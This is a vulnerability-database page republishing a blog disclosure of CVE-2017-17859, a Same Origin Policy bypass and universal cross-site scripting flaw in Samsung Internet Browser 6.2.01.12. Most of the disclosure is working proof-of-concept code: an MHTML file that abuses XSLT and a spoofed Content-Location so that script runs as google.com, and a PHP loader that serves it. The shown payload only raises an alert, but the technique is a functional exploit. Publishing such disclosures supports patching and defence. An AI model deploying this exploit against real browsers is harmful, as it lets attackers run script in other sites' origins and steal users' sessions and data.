Samsung Internet Browser 6.2.01.12 SOP Bypass / UXSS

🗓️ 25 Dec 2017 00:00:00Reported by James LeeType

packetstorm🔗 packetstormsecurity.com👁 57 Views

Samsung Internet Browser SOP Bypass/UXSS vulnerability via MHTML and XSL

Reporter	Title	Published	Views	Family All 9
0day.today	Samsung Internet Browser 6.2.01.12 SOP Bypass / UXSS Vulnerabilities	3 Jan 201800:00	–	zdt
ATTACKERKB	CVE-2017-17859	27 Dec 201717:08	–	attackerkb
CNVD	Samsung Internet Browser Cross-Site Scripting Vulnerability	29 Dec 201700:00	–	cnvd
CVE	CVE-2017-17859	24 Dec 201707:00	–	cve
Cvelist	CVE-2017-17859	24 Dec 201707:00	–	cvelist
EUVD	EUVD-2017-9006	7 Oct 202500:30	–	euvd
NVD	CVE-2017-17859	27 Dec 201717:08	–	nvd
OSV	CVE-2017-17859	27 Dec 201717:08	–	osv
Prion	Design/Logic Flaw	27 Dec 201717:08	–	prion

`From: https://poctestblog.blogspot.co.uk/2017/12/samsung-internet-browser-sop-bypassuxss.html  
  
  
  
Samsung Internet Browser SOP Bypass/UXSS  
  
There is a Same Origin Policy bypass / Universal Cross Site Scripting issue in Samsung Internet Browser (tested on latest version - 6.2.01.12).  
  
First of all, using the combination of MHTML and XSLT ends up resulting in a weird interaction. When you create an empty Iframe via MHTML and give a normal header and combine MHTML with XSLT, the browser renders them and confuse as its origin is from a pre-instantiated empty iframe. I hosted a quick Proof-Of-Concept page to test this vulnerability, please have a test on latest Samsung Internet browser (version - 6.2.01.12).  
  
http://prooftestdomain.hol.es/test/test.php  
  
I attached a POC image below to show that Samsung Internet Browser says its origin is https://google.com and document.domain returns https://google.com while in reality we are in my test host domain.  
  
Following is Proof Of Concept code, you need to upload .mht and .php file. When you visit .php file the exploit runs successfully and bypasses Same Origin Policy to achieve UXSS.  
  
test.mht file content:  
  
MIME-Version: 1.0  
Content-Type: multipart/related;  
type="text/html";  
boundary="----MultipartBoundary--"  
  
------MultipartBoundary--  
Content-Type: application/xml;  
  
<?xml version="1.0" encoding="UTF-8"?>  
<?xml-stylesheet type="text/xml" href="#stylesheet"?>  
<!DOCTYPE catalog [  
<!ATTLIST xsl:stylesheet  
id ID #REQUIRED>  
]>  
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">  
<xsl:template match="*">  
<html><iframe style="display:none" src="https://google.com"></iframe></html>  
</xsl:template>  
</xsl:stylesheet>  
  
------MultipartBoundary--  
Content-Type: text/html  
Content-Location: https://google.com  
  
<script>alert('lol \n\n' + 'document.domain: \n' + document.domain)</script>  
------MultipartBoundary----  
  
  
  
  
  
test.php file content:  
  
<?php  
$filename=realpath("test.mht");  
header( "Content-type: multipart/related");  
readfile($filename);  
?>  
`

25 Dec 2017 00:00Current

6.4Medium risk

Vulners AI Score6.4

EPSS0.00773